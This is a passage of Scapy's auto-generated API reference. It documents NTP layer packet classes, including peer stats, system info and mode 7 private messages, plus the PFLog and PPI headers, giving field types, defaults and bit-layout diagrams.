+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            V6 FLAG                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            UNUSED9                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            DSTADDR6                           |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            SRCADDR6                           |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. NTPInfoPeerStats                       


NTPInfoPeerStats fields






	dstaddr

	IPField

	'0.0.0.0'



	srcaddr

	IPField

	'0.0.0.0'



	srcport

	ShortField

	0



	flags

	FlagsField

	<Flag 0 ()>



	timereset

	IntField

	0



	timereceived

	IntField

	0



	timetosend

	IntField

	0



	timereachable

	IntField

	0



	sent

	IntField

	0



	unused1

	IntField

	0



	processed

	IntField

	0



	unused2

	IntField

	0



	badauth

	IntField

	0



	bogusorg

	IntField

	0



	oldpkt

	IntField

	0



	unused3

	IntField

	0



	unused4

	IntField

	0



	seldisp

	IntField

	0



	selbroken

	IntField

	0



	unused5

	IntField

	0



	candidate

	ByteField

	0



	unused6

	ByteField

	0



	unused7

	ByteField

	0



	unused8

	ByteField

	0



	v6_flag

	IntField

	0



	unused9

	IntField

	0



	dstaddr6

	IP6Field

	'::'



	srcaddr6

	IP6Field

	'::'















	
class scapy.layers.ntp.NTPInfoPeerSummary(_pkt, /, *, dstaddr='0.0.0.0', srcaddr='0.0.0.0', srcport=0, stratum=0, hpoll=0, ppoll=0, reach=0, flags=<Flag 0 ()>, hmode={0: 'reserved', 1: 'symmetric active', 2: 'symmetric passive', 3: 'client', 4: 'server', 5: 'broadcast', 6: 'NTP control message', 7: 'reserved for private use'}, delay=0, offset=0, dispersion=0, v6_flag=0, unused1=0, dstaddr6='::', srcaddr6='::')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntp.py#L961-L983]

	Bases: Packet

Sort of the info that ntpdc returns by default.


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            DSTADDR                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            SRCADDR                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            SRCPORT            |    STRATUM    |     HPOLL     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     PPOLL     |     REACH     |     FLAGS     |     HMODE     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             DELAY                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             OFFSET                            |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           DISPERSION                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            V6 FLAG                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            UNUSED1                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            DSTADDR6                           |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            SRCADDR6                           |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. NTPInfoPeerSummary                      


NTPInfoPeerSummary fields






	dstaddr

	IPField

	'0.0.0.0'



	srcaddr

	IPField

	'0.0.0.0'



	srcport

	ShortField

	0



	stratum

	ByteField

	0



	hpoll

	ByteField

	0



	ppoll

	ByteField

	0



	reach

	ByteField

	0



	flags

	FlagsField

	<Flag 0 ()>



	hmode

	ByteField

	{0: 'reserved', 1: 'symmetric active', 2: 'symmetric passive', 3: 'client', 4: 'server', 5: 'broadcast', 6: 'NTP control message', 7: 'reserved for private use'}



	delay

	FixedPointField  (32 bits)

	0



	offset

	TimeStampField  (64 bits)

	0



	dispersion

	FixedPointField  (32 bits)

	0



	v6_flag

	IntField

	0



	unused1

	IntField

	0



	dstaddr6

	IP6Field

	'::'



	srcaddr6

	IP6Field

	'::'















	
class scapy.layers.ntp.NTPInfoSys(_pkt, /, *, peer='0.0.0.0', peer_mode=0, leap=0, stratum=0, precision=0, rootdelay=0, rootdispersion=0, refid=0, reftime=0, poll=0, flags=<Flag 0 ()>, unused1=0, unused2=0, unused3=0, bdelay=0, frequency=0, authdelay=0, stability=0, v6_flag=0, unused4=0, peer6='::')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntp.py#L1111-L1140]

	Bases: Packet

System info. Mostly the sys.* variables, plus a few unique to
the implementation.


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PEER                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   PEER MODE   |      LEAP     |    STRATUM    |   PRECISION   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           ROOTDELAY                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         ROOTDISPERSION                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             REFID                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            REFTIME                            |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              POLL                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     FLAGS     |    UNUSED1    |    UNUSED2    |    UNUSED3    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             BDELAY                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           FREQUENCY                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           AUTHDELAY                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           STABILITY                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            V6 FLAG                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            UNUSED4                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             PEER6                             |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. NTPInfoSys                          


NTPInfoSys fields






	peer

	IPField

	'0.0.0.0'



	peer_mode

	ByteField

	0



	leap

	ByteField

	0



	stratum

	ByteField

	0



	precision

	SignedByteField

	0



	rootdelay

	FixedPointField  (32 bits)

	0



	rootdispersion

	FixedPointField  (32 bits)

	0



	refid

	IPField

	0



	reftime

	TimeStampField  (64 bits)

	0



	poll

	IntField

	0



	flags

	FlagsField

	<Flag 0 ()>



	unused1

	ByteField

	0



	unused2

	ByteField

	0



	unused3

	ByteField

	0



	bdelay

	FixedPointField  (32 bits)

	0



	frequency

	FixedPointField  (32 bits)

	0



	authdelay

	TimeStampField  (64 bits)

	0



	stability

	FixedPointField  (32 bits)

	0



	v6_flag

	IntField

	0



	unused4

	IntField

	0



	peer6

	IP6Field

	'::'















	
class scapy.layers.ntp.NTPInfoSysStats(_pkt, /, *, timeup=0, timereset=0, denied=0, oldversionpkt=0, newversionpkt=0, unknownversion=0, badlength=0, processed=0, badauth=0, received=0, limitrejected=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntp.py#L1143-L1161]

	Bases: Packet

System stats. These are collected in the protocol module.


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             TIMEUP                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           TIMERESET                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             DENIED                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         OLDVERSIONPKT                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         NEWVERSIONPKT                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         UNKNOWNVERSION                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           BADLENGTH                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           PROCESSED                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            BADAUTH                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            RECEIVED                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         LIMITREJECTED                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. NTPInfoSysStats                       


NTPInfoSysStats fields






	timeup

	IntField

	0



	timereset

	IntField

	0



	denied

	IntField

	0



	oldversionpkt

	IntField

	0



	newversionpkt

	IntField

	0



	unknownversion

	IntField

	0



	badlength

	IntField

	0



	processed

	IntField

	0



	badauth

	IntField

	0



	received

	IntField

	0



	limitrejected

	IntField

	0















	
class scapy.layers.ntp.NTPInfoTimerStats(_pkt, /, *, timereset=0, alarms=0, overflows=0, xmtcalls=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntp.py#L1209-L1220]

	Bases: Packet

Timer stats.


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           TIMERESET                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             ALARMS                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           OVERFLOWS                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            XMTCALLS                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. NTPInfoTimerStats                      


NTPInfoTimerStats fields






	timereset

	IntField

	0



	alarms

	IntField

	0



	overflows

	IntField

	0



	xmtcalls

	IntField

	0















	
class scapy.layers.ntp.NTPPeerStatusDataPacket(_pkt, /, *, association_id=0, peer_status=<NTPPeerStatusPacket  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntp.py#L743-L753]

	Bases: Packet

Packet handling the data field when op_code is CTL_OP_READSTAT
and the association_id field is null.


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         ASSOCIATION ID        |          PEER STATUS          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. NTPPeerStatusDataPacket                   


NTPPeerStatusDataPacket fields






	association_id

	ShortField

	0



	peer_status

	PacketField

	<NTPPeerStatusPacket  |>















	
class scapy.layers.ntp.NTPPeerStatusPacket(_pkt, /, *, configured=0, auth_enabled=0, authentic=0, reachability=0, reserved=0, peer_sel=0, peer_event_counter=0, peer_event_code=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntp.py#L643-L661]

	Bases: Packet

Packet handling the peer status fields.


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntp.py#L660-L661]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|C|A|A|R|R|PEER |PEER EV|PEER EV|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. NTPPeerStatusPacket                     


NTPPeerStatusPacket fields






	configured

	BitField  (1 bit)

	0



	auth_enabled

	BitField  (1 bit)

	0



	authentic

	BitField  (1 bit)

	0



	reachability

	BitField  (1 bit)

	0



	reserved

	BitField  (1 bit)

	0



	peer_sel

	BitEnumField

	0



	peer_event_counter

	BitField  (4 bits)

	0



	peer_event_code

	BitEnumField

	0















	
class scapy.layers.ntp.NTPPrivate(_pkt, /, *, response=0, more=0, version=2, mode=7, auth=0, seq=0, implementation=0, request_code=0, err=0, nb_items=0, mbz=0, data_item_size=0, req_data=[], data=[], authenticator=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntp.py#L1685-L1837]

	Bases: NTP

Packet handling the private (mode 7) messages.


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|R|M|VERSI| MODE|A|     SEQ     | IMPLEMENTATION|  REQUEST CODE |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  ERR  |        NB ITEMS       |  MBZ  |     DATA ITEM SIZE    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            REQ DATA           |              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         AUTHENTICATOR         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. NTPPrivate                          


NTPPrivate fields






	response

	BitField  (1 bit)

	0



	more

	BitField  (1 bit)

	0



	version

	BitField  (3 bits)

	2



	mode

	BitEnumField

	7



	auth

	BitField  (1 bit)

	0



	seq

	BitField  (7 bits)

	0



	implementation

	ByteEnumField

	0



	request_code

	ByteEnumField

	0



	err

	BitEnumField

	0



	nb_items

	BitField  (12 bits)

	0



	mbz

	BitField  (4 bits)

	0



	data_item_size

	BitField  (12 bits)

	0



	req_data

	NTPPrivateReqPacketListField (Cond)

	[]



	data

	NTPPrivateRespPacketListField (Cond)

	[]



	authenticator

	PacketField (Cond)

	b''











	
match_subclass = True

	








	
class scapy.layers.ntp.NTPPrivatePktTail(_pkt, /, *, tstamp=0, key_id=0, dgst=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntp.py#L1669-L1682]

	Bases: Packet

include/ntp_request.h
The req_pkt_tail structure is used by ntpd to adjust for different
packet sizes that may arrive.


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             TSTAMP                            |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             KEY ID                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DGST             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. NTPPrivatePktTail                      


NTPPrivatePktTail fields






	tstamp

	TimeStampField  (64 bits)

	0



	key_id

	IntField

	0



	dgst

	XStrFixedLenField

	b''















	
class scapy.layers.ntp.NTPPrivateReqPacket(_pkt, /, *, req_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntp.py#L1544-L1550]

	Bases: Packet

Packet handling request data.


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            REQ DATA           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. NTPPrivateReqPacket                     


NTPPrivateReqPacket fields






	req_data

	StrField

	b''















	
class scapy.layers.ntp.NTPPrivateReqPacketListField(name: str, default: Optional[List[BasePacket]], pkt_cls: Optional[Union[Callable[[bytes], Packet], Type[Packet]]]  # noqa: E501 = None, count_from: Optional[Callable[[Packet], int]] = None, length_from: Optional[Callable[[Packet], int]] = None, next_cls_cb: Optional[Callable[[Packet, List[BasePacket], Optional[Packet], bytes], Type[Packet]]]  # noqa: E501 = None, max_count: Optional[int] = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntp.py#L1602-L1666]

	Bases: PacketListField

Handles specific request packets.


	
getfield(pkt, s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntp.py#L1646-L1666]

	




	
m2i(pkt, s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntp.py#L1609-L1644]

	








	
class scapy.layers.ntp.NTPPrivateRespPacketListField(name: str, default: Optional[List[BasePacket]], pkt_cls: Optional[Union[Callable[[bytes], Packet], Type[Packet]]]  # noqa: E501 = None, count_from: Optional[Callable[[Packet], int]] = None, length_from: Optional[Callable[[Packet], int]] = None, next_cls_cb: Optional[Callable[[Packet, List[BasePacket], Optional[Packet], bytes], Type[Packet]]]  # noqa: E501 = None, max_count: Optional[int] = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntp.py#L1510-L1541]

	Bases: PacketListField

PacketListField handling the response data.


	
getfield(pkt, s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntp.py#L1527-L1541]

	




	
m2i(pkt, s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntp.py#L1515-L1525]

	








	
class scapy.layers.ntp.NTPStatusPacket(_pkt, /, *, status=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntp.py#L613-L622]

	Bases: Packet

Packet handling a non specific status word.


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntp.py#L621-L622]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             STATUS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. NTPStatusPacket                       


NTPStatusPacket fields






	status

	ShortField

	0















	
class scapy.layers.ntp.NTPSystemStatusPacket(_pkt, /, *, leap_indicator=0, clock_source=0, system_event_counter=0, system_event_code=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntp.py#L625-L640]

	Bases: Packet

Packet handling the system status fields.


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntp.py#L639-L640]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|LEA|CLOCK SOURC|SYSTEM |SYSTEM |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. NTPSystemStatusPacket                    


NTPSystemStatusPacket fields






	leap_indicator

	BitEnumField

	0



	clock_source

	BitEnumField

	0



	system_event_counter

	BitField  (4 bits)

	0



	system_event_code

	BitEnumField

	0















	
class scapy.layers.ntp.TimeStampField(name, default)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntp.py#L86-L115]

	Bases: FixedPointField

This field handles the timestamp fields in the NTP header.


	
any2i(pkt, val)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntp.py#L105-L110]

	




	
i2m(pkt, val)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntp.py#L112-L115]

	




	
i2repr(pkt, val)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntp.py#L94-L103]

	








	
class scapy.layers.ntp.XLEShortField(name: str, default: int | None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntp.py#L77-L83]

	Bases: LEShortField

XShortField which value is encoded in little endian.


	
i2repr(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntp.py#L82-L83]

	










            

          

      

      

    

  

    
      
          
            
  
scapy.layers.pflog

PFLog: OpenBSD PF packet filter logging.


	
class scapy.layers.pflog.PFLog(_pkt, /, *, hdrlen=100, addrfamily=2, action=1, reason=0, iface=b'', ruleset=b'', rulenumber=0, subrulenumber=0, uid=0, pid=0, ruleuid=0, rulepid=0, direction=255, rewritten=0, naddrfamily=2, pad=b'\x00', saddr=None, daddr=None, sport=0, dport=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/pflog.py#L31-L97]

	Bases: Packet

Class for handling PFLog headers


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     HDRLEN    |   ADDRFAMILY  |     ACTION    |     REASON    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             IFACE                             |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            RULESET                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           RULENUMBER                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         SUBRULENUMBER                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              UID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            RULEUID                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            RULEPID                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   DIRECTION   |   REWRITTEN   |  NADDRFAMILY  |      PAD      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             SADDR                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             DADDR                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             SPORT             |             DPORT             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. PFLog                            


PFLog fields






	hdrlen

	ByteField

	100



	addrfamily

	ByteEnumField

	2



	action

	ByteEnumField

	1



	reason

	ByteEnumField

	0



	iface

	StrFixedLenField

	b''



	ruleset

	StrFixedLenField

	b''



	rulenumber

	SignedIntField

	0



	subrulenumber

	SignedIntField

	0



	uid

	SignedIntField

	0



	pid

	IntField

	0



	ruleuid

	SignedIntField

	0



	rulepid

	IntField

	0



	direction

	ByteEnumField

	255



	rewritten

	YesNoByteField

	0



	naddrfamily

	ByteEnumField

	2



	pad

	StrFixedLenField

	b'\x00'



	saddr

	MultipleTypeField (PadField, IP6Field, PadField)

	'127.0.0.1'



	daddr

	MultipleTypeField (PadField, IP6Field, PadField)

	'127.0.0.1'



	sport

	ShortField

	0



	dport

	ShortField

	0











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/pflog.py#L96-L97]

	




	
payload_guess

	Possible sublayers:
IP, IPv6












            

          

      

      

    

  

    
      
          
            
  
scapy.layers.ppi

CACE Per-Packet Information (PPI) header.

A method for adding metadata to link-layer packets.

For example, one can tag an 802.11 packet with GPS coordinates of where it
was captured, and include it in the PCAP file.

New PPI types should:



	Make their packet a subclass of PPI_Element


	Call bind_layers(PPI_Hdr, ExamplePPI, pfh_type=0xffff)







See layers/contrib/ppi_cace.py for an example.


	
class scapy.layers.ppi.PPI(_pkt, /, *, version=0, flags=0, len=None, dlt=None, headers=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppi.py#L60-L82]

	Bases: Packet


	
add_payload(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppi.py#L72-L77]

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
